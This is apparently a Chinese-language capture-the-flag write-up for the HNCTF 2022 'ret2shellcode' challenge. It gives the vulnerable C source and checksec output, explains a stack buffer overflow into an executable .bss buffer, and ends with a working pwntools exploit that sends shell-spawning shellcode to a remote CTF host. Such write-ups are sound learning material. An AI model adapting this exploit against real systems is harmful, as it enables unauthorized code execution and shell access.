Problem: [HNCTF 2022 Week1]ret2shellcode
下载下来发现2个文件,一个是源码,一个是编译好的ELF文件
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}
checksec 一下:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
有NX (Non-Executable),使某些内存区域不可执行,并使可执行区域不可写
在IDA分析,发现没有含有shell的函数,所以应该自己手写一个shell,然后进行调用
注意到源码存在
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
mprotect() 使 .bss 段可执行,我们将 shellcode 写入 buff,并利用 strcpy() 溢出覆盖返回地址为 buff 的地址,从而实现返回到 shellcode ,查看Exports 发现
buff 00000000004040A0
exp:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./shellcode_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("node5.anna.nssctf.cn", 24002)
return r
def main():
r = conn()
# ljust 的作用是使得shellcode占满256+8个字节,没占满的部分用'a'补充
payload=asm(shellcraft.sh()).ljust((256+8),b'a')+p64(0x4040A0)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
